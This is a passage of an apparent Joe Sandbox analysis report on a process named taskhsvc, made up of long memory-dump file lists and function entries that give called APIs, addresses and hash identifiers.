                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_failsetsockopt
                                                                                                                          • String ID: rs
                                                                                                                          • API String ID: 2656814134-1216979227
                                                                                                                          • Opcode ID: b721f65eab876eb197ad16a1143d9b3a062ea5ba9ea6cd540dfcdf1b8ea1bee5
                                                                                                                          • Instruction ID: 6ff48439fb9c2126341cf24740aebd2237d3619faba8fa6961f0f43223d3a05d
                                                                                                                          • Opcode Fuzzy Hash: b721f65eab876eb197ad16a1143d9b3a062ea5ba9ea6cd540dfcdf1b8ea1bee5
                                                                                                                          • Instruction Fuzzy Hash: 6AF0E7B09047069FCB10EFA9C94166EBBF1AB44314F008A29E979AB3D0D774A905CF92
                                                                                                                          Function 00D36F50 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                            • Part of subcall function 00D36FAD: __stack_chk_fail.LIBSSP-0 ref: 00D37080
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00D36FA6
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail
                                                                                                                          • String ID: rs$rs
                                                                                                                          • API String ID: 4216919130-1775948082
                                                                                                                          • Opcode ID: 48dc20f353c4170e537026ea31ec7ab9f7aac9c8a433f7cfcc5aa77508f4a220
                                                                                                                          • Instruction ID: 45ad80c2de6f38b39c14e603185e947e6eb42be5c844f915770352a838e7bff0
                                                                                                                          • Opcode Fuzzy Hash: 48dc20f353c4170e537026ea31ec7ab9f7aac9c8a433f7cfcc5aa77508f4a220
                                                                                                                          • Instruction Fuzzy Hash: 7BF07FB4A04309AFCB40DFA9C58168EBBF1BF48304F01C919E858E7301D375E9418FA1
                                                                                                                          Function 00D35B2B Relevance: 4.7, APIs: 3, Instructions: 223fileCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                            • Part of subcall function 00D41144: memset.MSVCRT ref: 00D4117D
                                                                                                                            • Part of subcall function 00D41144: __stack_chk_fail.LIBSSP-0 ref: 00D41190
                                                                                                                            • Part of subcall function 00D35895: strlen.MSVCRT ref: 00D358CA
                                                                                                                            • Part of subcall function 00D35895: __stack_chk_fail.LIBSSP-0 ref: 00D35904
                                                                                                                          • CreateFileA.KERNEL32 ref: 00D35BEF
                                                                                                                          • free.MSVCRT ref: 00D35E9E
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00D35F2B
                                                                                                                            • Part of subcall function 00D33842: __stack_chk_fail.LIBSSP-0 ref: 00D338B7
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail$CreateFilefreememsetstrlen
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 1074840917-0
                                                                                                                          • Opcode ID: e45f2694852125c1d98c514f72bb07187e3713aef459f73d6a0a3f69ec3d2113
                                                                                                                          • Instruction ID: cac7acffae82dff4f77857b1768f9c5a479efe2e7b08aa3f43a2b2766d10cbc8
                                                                                                                          • Opcode Fuzzy Hash: e45f2694852125c1d98c514f72bb07187e3713aef459f73d6a0a3f69ec3d2113
                                                                                                                          • Instruction Fuzzy Hash: 36B1E5B09057148FDB20EF29D88479ABBF0EB89314F0085A9E59CAB350D7759E84CF51
                                                                                                                          Function 00D32E50 Relevance: 4.7, APIs: 3, Instructions: 197COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • abort.MSVCRT ref: 00D32F7F
                                                                                                                            • Part of subcall function 00E18710: strlen.MSVCRT ref: 00E1872A
                                                                                                                            • Part of subcall function 00E18710: malloc.MSVCRT ref: 00E18736
                                                                                                                            • Part of subcall function 00E18710: strlen.MSVCRT ref: 00E18740
                                                                                                                            • Part of subcall function 00E18710: malloc.MSVCRT ref: 00E1874C
                                                                                                                            • Part of subcall function 00E18710: free.MSVCRT ref: 00E187AC
                                                                                                                            • Part of subcall function 00D32CAF: __stack_chk_fail.LIBSSP-0 ref: 00D32D34
                                                                                                                          • abort.MSVCRT ref: 00D331E3
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00D33200
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_failabortmallocstrlen$free
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 2096595788-0
                                                                                                                          • Opcode ID: a29c1a1e69b5362285139abeb044880ffad4207d45c149faed3e3f81650b5ca2
                                                                                                                          • Instruction ID: b562b88be3fb4298ce88066febf3beaa786969ecc2a0c06ab9b861763628e61d
                                                                                                                          • Opcode Fuzzy Hash: a29c1a1e69b5362285139abeb044880ffad4207d45c149faed3e3f81650b5ca2
                                                                                                                          • Instruction Fuzzy Hash: 16A196B8906315CFCB54EF25C989699BBF4BF48704F00C4A9E898A7350DB749A85CF61
                                                                                                                          Function 00D455C5 Relevance: 4.6, APIs: 3, Instructions: 73COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00D456C2
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D36586
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D3659C
                                                                                                                            • Part of subcall function 00D36562: __stack_chk_fail.LIBSSP-0 ref: 00D36601
                                                                                                                            • Part of subcall function 00D39764: __stack_chk_fail.LIBSSP-0 ref: 00D39857
                                                                                                                          • abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,00D32E2F), ref: 00D45635
                                                                                                                          • _write.MSVCRT ref: 00D45691
                                                                                                                          Memory Dump Source
